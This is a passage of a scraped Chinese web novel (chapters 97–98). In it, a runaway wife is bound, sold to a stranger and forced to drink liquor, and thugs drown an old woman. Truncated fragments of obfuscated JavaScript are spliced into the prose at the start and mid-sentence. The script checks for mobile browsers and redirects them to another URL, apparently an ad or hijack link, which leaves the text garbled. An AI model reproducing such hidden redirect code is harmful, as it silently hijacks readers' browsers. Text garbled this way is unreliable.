l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165899|165120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的!” “妹子,这你可是全都亲耳听到啦,这真不能怪我呀!你说说,他老是和咱们作对,我就算有心想要原谅他,可他自己压根儿就不情愿呐!”那人一脸无奈地说道。 此时,一旁的蒋晶晶急忙劝道:“胡大哥,算我求您了,就看在我的面子上,就给他们赔个礼道个歉吧!” 胡良全连连摇头,坚决地回应道:“不行,晶晶!你赶紧带上依依离开这儿,只要你们母女俩能平安无事,谅他们也没那个胆子把我怎样!” 就在这时,人群中有一人恶狠狠地喊道:“哼!我倒要看看你们今天谁能跑得掉!有本事你们试试看!”说着,还挥舞起拳头**。 然而,胡良全完全不理会对方的威胁,只是焦急地看向蒋晶晶,再次催促道:“别磨蹭了,晶晶!你们快走啊!依依,快点带你娘走!” 只见蒋依依紧紧拉住蒋晶晶的胳膊,声音颤抖着说:“娘……我害怕……” 蒋晶晶温柔地拍了拍女儿的小手,安慰道:“别怕,孩子!你先赶快离开这个地方。去财神庙那里等着我,我等下就过来找你!现在还是大白天呢,他们不敢乱来的!” 蒋依依听了母亲的话,又抬头望了望那几个恶霸。于是,她咬咬牙,松开了蒋晶晶的胳膊,转身撒腿就跑。转眼间,小小的身影便消失在了熙熙攘攘的街道尽头。 “大哥,不好啦!那个小丫头片子居然又跑掉了!”其中一人朝着为首之人报告道。 被称为大哥的人眉头一皱,怒声喝道:“跑了?你们这群废物,怎么能让她给跑了呢?” 那人连忙低头解释道:“大哥,我们原本都以为那小丫头胆子那么小,肯定不敢逃跑的……谁知道她竟然趁我们不注意的时候溜之大吉了!” 大哥无奈地摇了摇头,叹气道:“罢了罢了,跑了就跑了吧,反正这里不还有两个人嘛!”说着,他将目光转向了剩下的两人。 这时,另一个小弟突然想起之前说过的话,有些胆怯地说道:“大哥,刚才咱们可说好了,如果他们敢乱动一下,就要挨您两拳的惩罚。可现在这人跑了,这该怎么算呀?” 大哥嘴角微微上扬,露出一丝阴险的笑容,缓缓开口道:“既然如此,那就给这小子二十拳吧!也算是给其他人一个教训,看以后还敢不敢不尽心办事!” 听到这话,胡良全猛地抬起头来,大声喊道:“要打你打便是,何必在这里啰嗦这么多废话!” 一旁的蒋晶晶见状,急忙挡在了胡良全身前,哀求道:“求求你们不要再打胡大哥了,他已经受了伤。如果非要**的话,你们就打我吧,只要能够放过胡大哥就行!” 然而,那群恶徒却丝毫没有怜悯之心,其中一人淫笑着对蒋晶晶说道:“哎呦,我可从来不打女人哟,我哪里舍得对女人动手呢。要不这样吧,只要您愿意陪我们哥几个玩上两天,今天这事就算过去了,如何?” 蒋晶晶满脸羞愤地骂道:“无耻,下流......你们简直就是一群混蛋!” 旁边一个小弟连忙向为首之人喊道:“大哥,这娘们儿居然敢说你下流呢!” 那被称为大哥的男子一听,顿时怒不可遏,恶狠狠地说道:“下流?哼,老子今天就要让这个不知天高地厚的女人好好见识一下到底什么才叫真正的下流......”说着便朝蒋晶晶步步逼近。 就在这千钧一发之际,胡良全突然捡起一旁的石头朝着那人丢过去,那人头上吃疼,回过头来,本打算好好教训一下胡良全! 这时候,胡良全的母亲不知道从哪里冲了出来,大声喊道:“你们快放开我的儿子!” 其中一人见状,连忙解释道:“大娘,可不是我们故意要找你儿子的麻烦呀,实在是你家儿子非要跟我们过不去,总是来找我们的碴儿!” 胡母一脸哀求地看着他们,泪水在眼眶里打转,声音颤抖着说道:“求求你们高抬贵手,放了我儿子吧!我可以对天发誓,从今往后一定把他看得死死的,绝对不会再让他踏出家门半步,更不会让他多管一丁点的闲事!” 为首的那个男人上下打量了一番胡母,见她年老体弱,心中不禁有些不忍,但又怕就此轻易放过胡良全会给自己带来更多麻烦,于是犹豫片刻后说道:“既然大娘您都这样说了,那好吧,看在您一把年纪的份儿上,这次我就大发慈悲,让您把他给带走。不过您可得记住自己说过的话,要是再有下一次,可别怪我们不客气了!” 胡母连连点头,如同捣蒜一般应道:“我一定会做到的,一定会的!各位好汉饶过我们吧......”说完,她赶紧拉着胡良全匆匆离去,生怕那些人反悔。 胡良全紧紧地抓着母亲的衣袖,满脸焦急与愤怒地喊道:“娘,你不要求他们,我绝对不会走的!我怎么可能丢下晶晶不管呢!” 那几个男子中的一个见状,嘴角勾起一抹戏谑的笑容,对着胡母说道:“大娘,您看看您这儿子,可真是倔强得很呐,他非得要跟我们哥儿几个过不去啊!” 胡母脸上满是无奈,她转过头说道:“他就是在乱说而已,我你保证一定会把他拽走的,绝对不会去多管闲事!” 胡良全瞪大了眼睛,难以置信地望着自己的母亲,声音颤抖地质问道:“娘,你怎么能如此狠心?眼睁睁地看着晶晶陷入危险却见死不救呢!” 胡母泪水夺眶而出,她伸手抚摸着胡良全受伤的腿部,哽咽着说:“好了孩子,你就别再执拗了。你看看你,因为这个丫头,腿都已经变成这样子了,难道你真的非要搭上自己的性命才肯罢休吗?算娘求求你了!”说完,她不停地擦拭着眼角的泪水。 第97章 **梅的出现 这时,其中一个男子色眯眯地盯着蒋晶晶,淫笑道:“嘿嘿,瞧瞧,你喜欢的男人好像也没本事护住你啊!依我看,你还不如乖乖地跟了我得了,只要你从了我,这片地方以后就由我罩着你,保准让你吃香的喝辣的!” 蒋晶晶怒目圆睁,狠狠地朝那人啐了一口唾沫,怒骂道:“我呸!简直是异想天开!你这种无耻之徒,就算天下男人都死光了,我也绝不会看上你一眼!” 那男子恼羞成怒,暴跳如雷地吼道:“好个不知好歹的臭娘们儿!来人啊,快把她给老子死死地按住!”随着他一声令下,其他几个人立刻上前按住了蒋晶晶。 胡良全像是一头失控的野兽一般,双眼通红,嘴里发出愤怒的咆哮,发疯了似的朝着那个人猛扑过去。而胡母则紧紧地拉住自己的儿子,脸上满是焦急和担忧,她一边用力拖拽着胡良全,一边大声呼喊着,希望能够阻止儿子去多管闲事。 就在这时,嘈杂的吵闹声吸引过来了一个女人。仔细一看,竟然是**梅正匆匆忙忙地从远处走来。原来,她此次来县城是要给自己受伤的儿子抓药。自从吴坚的腿被其父亲无情地打断之后,尽管经过长时间的休养,如今已经能够勉强行走,但每逢阴雨天,那刺骨的疼痛都会让他难以忍受。 由于镇上缺少了一味至关重要的药材,无奈之下,**梅只得亲自赶到县城来采购。 **梅对县城的道路并不太熟悉,几家药店都没有她要找的那味药材,正当她四处寻找药店的时候,却被这条小巷子里传来的喧闹声所吸引。 于是,她顺着声音的方向快步走了过来。当她逐渐靠近人群时,目光忽然落在了蒋晶晶身上。刹那间,**梅的脸色变得阴沉至极,咬牙切齿地怒吼道:“我终于找着你这个小**了!”话音未落,她便扬起手,毫不留情地朝着蒋晶晶狠狠地扇了过去。 一旁的几个小混混看到这突如其来的一幕,顿时惊得目瞪口呆,完全不知道发生了什么事情。他们面面相觑,一脸茫然地喃喃自语道:“这……这到底是什么情况啊?” 胡良全见状,连忙伸手拦住**梅,并疑惑不解地问道:“大娘,您是不是有什么误会呀?怎么好端端的突然在这里发脾气呢?” 然而,**梅根本不理会胡良全的劝阻,只是冷哼一声,然后用手指着蒋晶晶,恶狠狠地说道:“哼,你问问她,我是谁!我可是她的婆婆!这个没良心的东西,见我儿子断了腿,不仅不好好照顾,反而偷走了我家里所有的钱财,然后跑得无影无踪!今天可算让我逮住她了!” 胡母一脸狐疑地看着眼前的**梅,声音颤抖地问道:“这位大妹子,你刚才说的那些话可都是真的吗?” **梅挑了挑眉,嘴角勾起一抹冷笑,斩钉截铁地回答道:“哼,那当然是千真万确的啦!难不成我还会骗你们不成?我倒是好奇得很呢,真想瞧瞧看,她在外头到底跟哪个男人有一腿……” 就在这时,一旁站着的三个男人眼见局势发展不妙,心里开始打起了退堂鼓。其中带头的赶忙陪着笑脸说道:“那个……大娘啊,您可别误会呀!这里面压根儿就没咱们哥儿几个什么事!咱不过就是过来讨个债罢了,至于那女人在外头那相好的,那完全是他们两个人之间的事!跟我们无关呢!嘿嘿,我们这就先走啦!”说着,这三人便转身准备脚底抹油开溜。 然而,**梅岂肯轻易放过他们。只见她怒目圆睁,大声呵斥道:“你们几个,都给我回来!帮我把这个不知羞耻的女人给绑起来!” 一边说着,她的嘴里还不停地骂着:“这个**还真是不简单呐,到处勾勾搭搭,惹下这么多风流债!” 只见那三个人互相对视一眼后,齐声说道:“对不住了!”话音未落,其中一人迅速从怀中掏出一根粗绳,还没等蒋晶晶反应过来,她的双手便被牢牢地抓住,并强行扭到了身后。紧接着,拿绳子的那个人手法娴熟地将绳子一圈圈缠绕在蒋晶晶的手腕处,然后用力拉紧打了个死结。 蒋晶晶拼命挣扎着想要挣脱束缚,但她的反抗显得有些徒劳无功。只能眼睁睁地看着自己的双手被紧紧绑住,失去了自由活动的能力。 原本胡母正打算拉起自己的儿子赶紧逃离这个是非之地,却被眼尖的**梅一下子叫住了:“喂!敢情你们就是她在外头的姘头啊!” 胡母满脸不屑地哼了一声,说道:“切,你怕是想太多了吧!我们胡家怎会瞧得上一个带着拖油瓶的女人!” 站在一旁的蒋晶晶脸色瞬间变得苍白,她咬着嘴唇,坚定地回应道:“我和他们没有关系!” 然而,话音未落,只见**梅冲上前去,毫不留情地揪住了蒋晶晶的头发。她面目狰狞,恶狠狠地骂道:“怎么?你个**,现在居然都敢替这些外人说话了?瞧瞧你这副水性杨花的样子,谁知道当初那个小杂种是不是你跟外面那些不三不四的野男人偷偷怀上的,还非说是我儿子的,结果还不是卷走老娘的钱跑了!” 就在这时,一直沉默不语的胡良全终于忍不住开口了:“这位大娘,请您口下留德。有话好好说便是,何必如此动粗呢?” **梅猛地转过头,瞪向胡良全,嘴里依旧不干不净地叫嚷着:“哟呵,这里哪有你插嘴的份儿?少在这里多管闲事!怎么?难不成你就是她外头的姘头?” 面对这般无理指责,胡良全涨红了脸,大声辩驳道:“我虽然确实对晶晶心怀爱慕之情,但她从未给过我任何机会!所以,大娘您切莫信口雌黄、胡乱污蔑!” 胡母见状,气得直跺脚,冲着胡良全吼道:“你这混小子,在这里胡说八道些什么呢!人家的事情与咱们无关,赶紧给我老老实实回家去!”说着,便伸手去拉胡良全的胳膊。 可胡良全却用力一挥,挣脱开了母亲的手,他挺直身子,目光坚定地望着前方,大声说道:“娘,就算您不同意,我也决不能就这样眼睁睁地看着晶晶受人欺凌而无动于衷!” **梅怒目圆睁地指着蒋晶晶骂道:“好啊,果然是个不知廉耻的骚蹄子,还不快乖乖跟我回家伺候你男人去!”她双手叉腰,气势汹汹地瞪着眼前的蒋晶晶。 蒋晶晶毫不示弱,梗着脖子回应道:“我才不跟你回去!有本事就让你儿子休了我好了!”说完便扭过头去不再看**梅一眼。 **梅一听这话更是火冒三丈,大声吼道:“哼!既然你不想回去也行,但必须得先把从我这里拿走的钱一分不少地给我吐出来!” 蒋晶晶听完之后,咬了咬牙说道:“好,我还你便是!我屋里床头的柜子里面放着我这几年辛辛苦苦存下来的钱,你尽管拿去好了。不过,你必须要答应我一个条件,那就是拿了这些钱之后,从此再也不要来干涉我的任何事情!”她的眼神坚定而决绝,仿佛已经下定了决心。 **梅听到这话,眼睛顿时一亮,迅速转头看向三个混混,然后说道:“你们几个给我好好盯着他们,别让她们跑了或者耍什么花样儿。我现在就去屋子里看看她说的那些钱到底有没有,如果真有的话,咱们一起分了。”说完,她便迫不及待地朝着屋子走去。 那三个人一听说有钱可以拿,脸上立刻露出了欣喜若狂的笑容,纷纷点头哈腰地回应着**梅:“放心吧大姐,我们肯定会把她们看得死死的,绝对不会出什么岔子。您快去快回啊!”其中一个领头的男子甚至拍着胸脯保证起来。 **梅迅速进屋翻到了钱,仔细数了数之后,却将一部分钱塞进了自己的衣兜,另外一部分拿出来拍在桌子上,并恶狠狠地盯着蒋晶晶说:“这点儿哪够?你做出这种对不起我们吴家的丑事来,难道以为这么点儿钱就能打发我吗?门都没有!”另外三个人眼疾手快的把钱拿去分了! 蒋晶晶瞪大了眼睛,满脸愤怒地质问道:“那你到底还想怎么样?” **梅满脸怒容地瞪着蒋晶晶,厉声道:“这么多年来,你将你男人独自一人丢在家中不闻不问,难道不应该对我们做出些补偿吗?”她那犀利的目光仿佛能穿透人的灵魂。 蒋晶晶面露难色,声音略带颤抖地回应道:“我……我没有那么多钱!”她低着头,不敢直视**梅愤怒的眼神。 **梅闻言,上前一步逼近蒋晶晶,语气强硬地说道:“没钱?没钱那就跟我回家去,咱们好好算算这笔账!”说罢,伸手便要去拉蒋晶晶的胳膊。 就在这时,一旁一直沉默不语的胡良全突然开口喊道:“你要多少钱,我替她给你!”他的声音洪亮而坚定,让人不禁侧目。 胡母瞪大眼睛,满脸怒容地吼道:“你这孩子瞎说些啥呀?咱家哪来那么多钱给别人还债啊?我可是一分钱都没有啊!”她一边说着,一边用力挥了挥手,表示自己真的无能为力。 站在一旁的**梅嘴角微微上扬,露出一丝嘲讽的笑容,阴阳怪气地说道:“听听,我早就料到你根本拿不出这么多钱!” 胡良全却一脸坚定地看着**梅,斩钉截铁地回答道:“你放心好了,就算我出去找人借钱,我也一定会想办法把钱凑齐还给你的!”他的眼神里透露出一种不容置疑的决心。 这时,蒋晶晶焦急地劝说道:“胡大哥,这件事跟你没关系,你不用管我的,她不敢对我怎样的……” 然而,胡良全却坚决地说:“不行,晶晶,这事我不能不管,我说过要保护你的!” 胡母见儿子如此倔强,气得直跺脚,指着胡良全的鼻子骂道:“你这小子怎么跟头犟驴似的不听劝呢?” 正当几个人相互纠缠不休之际,一个意想不到的身影出现在众人面前——李万原竟然也来到了这里。只见他一边左顾右盼,一边大声嚷嚷着:“嘿哟,今天这儿可真是够热闹的啊!来了这么多人。你们有谁知道我的媳妇儿跑哪儿去啦?” **梅狠狠地瞪了一眼面前之人,没好气地说道:“你算哪根葱啊?跑来这里瞎掺和啥呢?” 李万原一听这话可不乐意了,他挺直了腰板,理直气壮地回怼道:“哟呵,那你倒说说看,我是哪根葱?凭啥你能在这儿待着,我就不行啦?” **梅冷哼一声,双手叉腰,气势汹汹地嚷道:“哼,告诉你也无妨,老娘可是她婆婆!这个不知廉耻的女人,竟然抛弃了我的儿子,还卷走了我的血汗钱,这几年跑得无影无踪。我苦苦找寻了好几年,好不容易才在这里逮到她!” 李万原闻言瞪大了眼睛,满脸惊愕之色,紧接着大声喊道:“哎呀,这可真是太巧了!原来您就是她婆婆啊。不过嘛,这事儿我还想请您做个主。我家那口子也是被她给藏起来的!所以说啊,既然你们是一家人,你可得帮我好好问一问!” **梅听后更是火冒三丈,指着蒋晶晶的鼻子骂道:“好哇,真没想到啊,你这小狐狸精不光会勾引男人,居然连女人你都骗!” 一直站在一旁默不作声的蒋晶晶终于忍不住开口辩解道:“我从来都没有骗过任何人!” 李万原见状赶忙趁热打铁,急切地追问道:“既然如此,那你倒是快告诉我,我媳妇究竟在哪儿啊?” 然而,蒋晶晶却斩钉截铁地回答道:“我不知道!” 李万原瞪大了眼睛,指着面前的蒋晶晶,满脸难以置信地对**梅喊道:“你看看这......昨天明明人还好好地在你这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165900|165120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢,怎么今天就翻脸不认账了?” **梅也是气得浑身发抖,双手叉腰,大声反驳道:“你说?你还有多少事情瞒着我们!” 就在这时,蒋晶晶突然向**梅凑近了一些,压低声音恶狠狠地说道:“哼,你那个儿子断了腿那是他自找的,活该!你信不信等我回去,连他另一条腿也一起弄断!” **梅一听这话,顿时怒火冲天,心中的愤怒如同火山一般瞬间爆发出来。只见她二话不说,扬起手掌就朝着蒋晶晶的脸上狠狠扇去。 “**!”几声清脆的耳光声响彻整条街,在场的人都被这突如其来的一幕惊呆了。 刚才那三个混混倒是靠在墙边做起了吃瓜群众,这可比看大戏要精彩多了啊! 李万原见状,急忙上前拉住**梅,焦急地喊道:“哎呀,你这个人怎么这么冲动啊!她还没有回答我的问题呢,你怎么能说动手就动手呀!” 然而,此时的**梅已经完全失去了理智,她用力挣脱开李万原的手,继续对着蒋晶晶又打又骂:“好啊,既然你如此不知好歹,那从今天起,你就别想再当我们吴家的儿媳妇儿了!省得以后到处给我们吴家丢人现眼!” 蒋晶晶瞪大了眼睛,难以置信地看着**梅,声音颤抖着问道:“你说的是真的?以后都不会再来纠缠我?”她的心中既有着一丝期待,又充满了不安。 **梅嘴角微微上扬,露出一抹轻蔑的笑容,说道:“放心吧,我说到做到,绝对不再纠缠你!不过嘛……”她故意拖长了音调,眼中闪过一丝狡黠,“你可别忘了,你现在仍然是我吴家的媳妇儿。既然你如此不守妇道,败坏了我吴家的名声,那我就只能将你卖掉,以挽回些许损失了!” 听到这话,蒋晶晶如遭雷击,脸色瞬间变得惨白,她怒视着**梅喊道:“你说什么?你竟敢卖掉我?我告诉你,我父母绝不会放过你的!”然而,此时的她已经有些色厉内荏,声音中明显带着几分惊慌失措。 **梅冷哼一声,不屑地撇撇嘴,嘲讽道:“哼!你父母?真是可笑至极!他们到死都还念叨着你这个不知去向的闺女呢!”说着,她的脸上浮现出一丝幸灾乐祸的表情。 蒋晶晶心头一紧,连忙追问道:“你这到底是什么意思?快告诉我!”她的双手紧紧握成拳头,指甲深深地陷入掌心之中,却浑然不觉疼痛。 **梅冷笑一声,接着说道:“我猜啊,你肯定是害怕被我们找到你,所以这些年来一直躲躲藏藏,连家都不敢回吧!可是你突然间消失得无影无踪,我啊,又经常去你们家要人,一来二去的,那两个老东西就撑不住了,去年就咽气儿了,真是老天爷有眼啊,老天爷都要收了他们去!。而你的大哥对你也是气恼万分,觉得你丢尽了蒋家的脸面,如今你们蒋家还有谁会在乎你这么个不孝女呢!” 蒋晶晶听完这番话,只觉得天旋地转,整个世界仿佛都崩塌了一般。她双腿一软,无力地瘫倒在地,泪水夺眶而出,口中喃喃自语道:“爹,娘,都是我不好……是我的错,是我对不起你们……” 李万原瞪大了双眼,他冲着蒋晶晶大声嚷嚷道:“你倒是先别急着哭啊,你倒是先告诉我,我的媳妇儿到底在哪里啊?” 然而,蒋晶晶只是低着头,默默地抽泣着,仿佛整个世界都与她无关。泪水如决堤的洪水般从她那美丽而憔悴的脸庞滑落,她紧紧咬着嘴唇,一言不发。 一旁的**梅冷眼旁观着这一幕,嘴角挂着一丝冷笑。只见她慢悠悠地说道:“哼,今天就算老娘我大发善心了。只要你们当中谁能拿出足够的钱来,这个女人就是你们谁家的。从此以后,她和我们吴家再也没有任何瓜葛!”说完,她还挑衅似地看了一眼在场的众人。 听到这话,胡良全顿时急红了眼,他一边拉扯着母亲的衣袖,一边哀求道:“娘,您就快把钱给我吧!求求您了,我不能眼睁睁的看着她被卖掉啊!” 可是胡母却一把甩开了儿子的手,怒目圆睁地骂道:“你个没出息的东西!想都别想,咱们胡家才不会要这样不知廉耻的女人进门呢!” 就在此时,人群之中缓缓地走出了一个身材矮小且黑瘦的人。只见他贼眉鼠眼、满脸猥琐地打量着蒋晶晶,然后阴阳怪气地开口说道:“虽说这女人看着年纪不小,也不是什么黄花大闺女,但只要她还能生孩子,那我老瞎子倒也不介意将她买回家里去当老婆!” 听到这话,一直沉默不语的李万原猛地冲上前去,怒目圆睁,大声呵斥道:“买什么买!她若不告诉我的媳妇儿到底在哪儿,今天无论是谁,都休想把她从这里带走!” 这时,一旁的胡良全突然插嘴道:“难道你要找的人是冬雪她们吗?” 李万原一听,犹如抓住了救命稻草一般,急忙追问道:“你知道她们在哪儿?快告诉我!” 然而,胡良全却轻轻地摇了摇头,面露难色地回答道:“真是抱歉!我这几日伤到了腿,行动不便,所以基本上没有出过门。不过,前几日她们的确是在这里的!” 李万原闻言,顿时火冒三丈,指着蒋晶晶的鼻子怒吼道:“好啊,我就说嘛!肯定就是你把她们给偷偷地藏起来了!” 由于李万原一直在旁边这般不依不饶地纠缠不休,周围原本对蒋晶晶有些兴趣的人们见状,纷纷打消了念头,生怕惹上不必要的麻烦。于是乎,也没有人愿意出钱买下蒋晶晶了。 **梅眼珠子滴溜溜一转,脸上露出一丝狡黠的笑容,对着李万原说道:“哎呀,我说这位大兄弟啊,你瞧瞧你,你那媳妇既然已经找不到了,那就干脆不找了呗!不如你就把她买回去得了呗!” 第98章 薛老板 **梅拉过李万原的手继续说道:“大兄弟,我看跟你有缘,她可还年轻着呢,身体好得很,保证明年就能给你一胎生下俩大胖小子!到时候你可就有福啦!” 胡良全心急如焚地看向蒋晶晶,大声喊道:“晶晶,你快点说话啊!赶紧告诉他,冬雪她们到底在哪里?” 然而,此时的蒋晶晶处在悲痛中,丝毫没有给出回应! **梅见状,心中暗喜不已。她才不会让蒋晶晶有机会开口说出来呢,于是又顺手拿起另一块破布,狠狠地塞进了蒋晶晶的嘴里,确保她再也发不出任何声音。这下可好,蒋晶晶只能发出呜呜呜的声音,根本无法说出一个完整的字来。尽管如此,从她那充满愤怒和怨恨的眼神中,可以看出她内心的不甘与无奈。 站在一旁的李万原则是满心欢喜地盘算起来:“哟呵,居然还有这样的好事儿等着我?两个媳妇儿?哈哈,以前可是想都不敢想啊!要是真能把这娘们儿弄回家去,那我的日子可就美咯……”他越想越是得意,嘴角不自觉地上扬,露出一副贪婪的模样。 胡良全眼见情况愈发危急,连忙冲着**梅喊道:“求求你,把她给我吧!只要你肯放了她,要多少钱我都给你!” 胡母怒不可遏地冲到前面,一把揪住自己儿子的耳朵,用力向后拉扯着,嘴里还不停地叫嚷道:“你这混小子,赶紧给我回家去!这里哪有你说话的份儿!别人家的事儿关你屁事啊!” 站在一旁的**梅见状,脸上露出一丝得意的笑容,她笑着对李万原说道:“我说大兄弟呀,你到底考虑清楚了没有哇?实话告诉你吧,我主要也是见不得这个女人过得舒坦。哼!谁叫她当初狠心抛弃我的宝贝儿子,一个人拍拍屁股就跑掉啦!像这种抛弃男人的女人,能是什么好东西嘛,你说是不是?我看你这气宇不凡的,不像我那个儿子文文弱弱的,她要是到了你家,你肯定收拾得了这种女人!” 听到这话,旁边的李万原点了点头,表示赞同,他附和着说道:“可不是嘛!简直和那个何芊菊一模一样,都是欠收拾的主儿。不过……我身上确实也没几个钱呐!” **梅一听,眼睛顿时亮了起来,连忙催促道:“你把钱拿出来给我瞅瞅,你究竟有多少?嘿,姐姐我瞧你还算顺眼,只要价钱合适,便宜点卖给你也不是不行!” 李万原犹豫了一下,最终还是从怀里掏出一叠皱巴巴的钞票,小心翼翼地递到**梅面前,低声说道:“大姐,我刚刚在集市上把家里那头小牛犊给卖掉了,换来的就只有这么多了。您要是觉得不够,那就算了……” **梅满脸堆笑地伸手接过那沓钞票,然后转过身,将捆住双手的蒋晶晶用力一推,把连接着绳索的一端递到了李万原手中,同时嘴里还不忘调侃道:“哎呀,你还费心地去找什么媳妇呢?瞧瞧,这不眼前就有一个现成的嘛!这女人呐,只要你肯花心思好好调教一番,等到明年,保准能给你生下个白白胖胖的大小子!”一边说着,她那张原本就有些刻薄的脸上更是浮现出一丝让人看了心生寒意的不怀好意的笑容,心中暗暗发誓,无论如何都不能让蒋晶晶过上舒坦日子。 李万原听到这话先是一愣,随即抬手使劲儿地拍打了几下自己的脑门,恍然大悟般叫嚷起来:“嘿哟,可不是么!这可真是天上掉下馅儿饼砸我头上啦!我之前咋就没想到这点呢?虽说那何芊菊连个带把儿的都生不出来,但其他女人未必就没这个本事呀!”话音未落,他便像完全忘记了还有何芊菊这个人似的,满心欢喜地盘算着赶紧回家,仿佛已经看到未来抱着大胖儿子尽享天伦之乐的美好场景。 李万原忙不迭地向**梅道谢:“嘿嘿,那就多谢这位好心的老嫂子啦!您可真是帮了我的大忙喽!” **梅则满不在乎地摆了摆手,说道:“跟我还客气啥呀!不过嘛,我可得提醒你一句,你干脆晚一点儿天色暗了的时候再带回去!要不然万一在路上碰到哪个眼尖的熟人,可就麻烦咯!而且依我看哪,等你到家之后,也得把她的腿给绑着,省得这小蹄子瞅准机会又给跑喽!” 李万原满脸谄媚地说道:“哎呀呀,您可真是比我那亲娘还要亲呐!这份大恩大德,我没齿难忘,真是万分感激您啦!”他一边说着,一边激动得差点要给对方跪下磕头了。 **梅此时心中仍有些担忧,她害怕蒋晶晶会趁机逃脱李万原的掌控。于是,她眼珠子一转,出了个馊主意:“我说兄弟啊,这一路上可不近呢,万一这丫头半道跑了可咋办?依我看呐,不如就听我的,给她灌下一瓶白酒。等她喝得晕晕乎乎、不省人事的时候,自然就只能听话的跟着你走啦,而且等到了你家,嘿嘿,那不就任你摆布了嘛,你说是不是这个理儿?”说完,她便从怀里掏出一瓶白酒,笑嘻嘻地递给了李万原。 李万原一听,顿时眼睛一亮,兴奋地拍起手来,大声赞叹道:“妙啊,妙啊!不愧是经验丰富的老嫂子啊,还是您有办法!我咋就没想到这么好的点子呢!”他迫不及待地接过酒瓶,拧开瓶盖,然后一把捏住蒋晶晶的嘴巴,将瓶口对准她的嘴,不管不顾地咕咚咕咚猛灌起来。 可怜的蒋晶晶拼命挣扎着,但无奈力气太小,根本无法挣脱李万原的束缚。不一会儿功夫,整瓶白酒就被强行灌进了她的肚子里。紧接着,李万原又顺手拿起那块脏兮兮的粗布,粗暴地塞进了蒋晶晶的嘴里,以防她把酒吐出来或者喊叫求救。 就在这时候,胡良全实在看不下去了,他义愤填膺地想要冲上去阻止李万原的**。 然而,令人意想不到的是,他刚迈出两步,突然感觉后脑勺一阵剧痛袭来,眼前一黑,便失去了意识,软绵绵地晕倒在了地上。原来,不知何时有人悄悄地绕到了他身后,趁其不备,狠狠地给了他一记闷棍。 胡母气得浑身发抖,她瞪大了眼睛,怒视着眼前的那群人,大声喊道:“我的儿啊,娘早就告诉过你,不要多管闲事!可你偏不听,非要去管这个女人的事!你们这些没良心的混蛋,今天老娘就算拼了这条老命,也要和你们好好理论一番!”话音未落,只见胡母随手捡起地上煮馄饨的大铁勺,像一头愤怒的狮子一般,朝着那几个混混猛扑过去! 这时,一旁站着的李万原见状:“哎哟喂,你们这是干啥呀?怎么还动手**呢!” 其中一个混混满脸不屑地说道:“哼,还不是为了你嘛!这小子喜欢那个卖馄饨的女人可不是一天两天的事儿了,咱们哥几个看他不顺眼,当然得帮你一把啦!不过咱可得事先说好啊,那个女人归你带走,至于那个小丫头片子,等我们把她找回来之后,可就得归我们哥儿几个咯!” 听到这话,李万原的脸上顿时露出一丝贪婪之色,附和着说道:“是啊,对啊,我都差点忘了还有个小丫头呢!嘿嘿……” 而此时,站在不远处的**梅则一脸冷漠地看着这一切,嘴里冷冷地吐出一句:“什么丫头?谁晓得她是从哪个犄角旮旯冒出来的小野种!随你们便吧,爱怎样怎样!” 那三个小混混眼见老太太气势汹汹地追打过来,脸上露出惊慌之色,二话不说便如脱兔般撒腿狂奔开来!胡母见状,心中怒火更盛,一边高声呼喊,一边奋力追赶着他们! 一路追到了一片水塘附近,就在这时,领头的一个混混不知为何,竟突然停下了脚步。只见他转过身来,面对着气喘吁吁、满脸怒容的胡母,一脸无赖相地说道:“哎哟,我说大娘,您都这么大年纪了,干嘛还追着我们不放呀?有这力气不如回家歇着去呢!” 胡母气得浑身发抖,指着那混混大声骂道:“你们这群丧尽天良的东西!我儿子本本分分,你们竟然下如此狠手,将他打得遍体鳞伤!你们还有没有一点人性啊?让我这把老骨头以后可怎么活啊!”说到伤心处,胡母不禁潸然泪下。 然而面对胡母的哭诉和指责,那几个混混不仅毫无愧疚之意,反而嘻嘻哈哈地相互调笑着。其中一人更是面露狰狞,戏谑地嘲讽道:“哼!既然您觉得没法活了,那就干脆别活啦!这样也能给您儿子节省点粮食不是?哈哈哈......”说罢,他猛地伸出双手,用力向前一推。可怜的胡母猝不及防,身体瞬间失去平衡,直直地朝着水塘栽了下去! 只听“扑通”一声巨响,胡母掉入了那水塘之中。她不会游泳,只能拼命地在水中扑腾挣扎着,口中不断高呼:“救命啊!救命啊!快来救救我……”声音充满了惊恐与绝望。 而那个可恶的混混则站在水塘边,看着胡母在水中苦苦挣扎的狼狈模样,不但不施以援手,反而捧腹大笑起来:“哈哈哈哈,老母狗,快游起来啊!只要你能自己游上岸,就没事啦!”他的笑声回荡在空旷的水塘上空,显得格外刺耳。 然而没过多久,原本还时不时发出几声微弱呻吟的胡母突然之间彻底安静下来,没有了丝毫动静。其中一人眼尖地发现这个情况后,脸色瞬间变得煞白,声音颤抖着对为首的那个人说道:“大……大哥,那老太太好像……已经不行了啊!” 被称作大哥的那个人闻言心头一紧,额头上冷汗涔涔而下。他强装镇定,但眼神中的惊恐却难以掩饰,结结巴巴地回应道:“什……什么?不行,咱们得赶紧走,立刻离开这里!反正周围也没有人看到刚才发生的事情,到时候就算有人发现她死在了河里,也只会认为是她自己不小心失足落水溺亡的。以后咱们几个谁都别再来这一片!” 其余几个人听了这番话,纷纷如捣蒜般地点头表示同意。紧接着,他们像是受到惊吓的兔子一般,撒腿便朝着另外一个方向狂奔而去。 而此时,在另一边的蒋依依正心急如焚地等待着蒋晶晶与她会合! 此刻的蒋依依犹如置身于热锅之上的蚂蚁,急得团团转。她不停地在原地来回踱步,心中焦虑万分,完全不知道接下来应该如何是好。 财神庙前人潮涌动、熙熙攘攘,人们或进香祈福,或谈笑风生,根本没有人注意到站在门口神色慌张、坐立不安的那个小姑娘。 